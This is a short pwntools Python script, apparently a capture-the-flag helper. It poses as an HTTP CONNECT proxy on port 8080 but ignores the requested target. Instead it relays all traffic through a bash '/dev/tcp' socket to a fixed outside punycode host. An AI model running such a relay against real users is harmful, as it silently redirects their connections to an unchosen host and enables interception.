from pwn import *

context.log_level = 'debug'

l = listen(8080)
svr = l.wait_for_connection()
svr.recvuntil(b'CONNECT ')
target_host, target_port = svr.recvuntil(b' ')[:-1].decode().split(":")
target_port = int(target_port)
svr.recvuntil(b'\r\n\r\n')
svr.send(b"HTTP/1.0 200 OK\r\nConnection: close\r\n\r\n")

#r = remote(target_host, target_port)
# PTY like
r = process("bash")
r.send(b"exec 3<>/dev/tcp/xn--sb-lka.org/80\n")
r.send(b"cat <&3 &\n")
r.send(b"cat >&3\n")


def pump(self, other):
    while True:
        try:
            data = other.recv(timeout = 0.05)
        except EOFError:
            break
        if not data:
            continue
        try:
            self.send(data)
        except EOFError:
            break

#svr.connect_both(r)
t = context.Thread(target = pump, args=(r, svr))
t.daemon = True
t.start()

t = context.Thread(target = pump, args=(svr, r))
t.daemon = True
t.start()


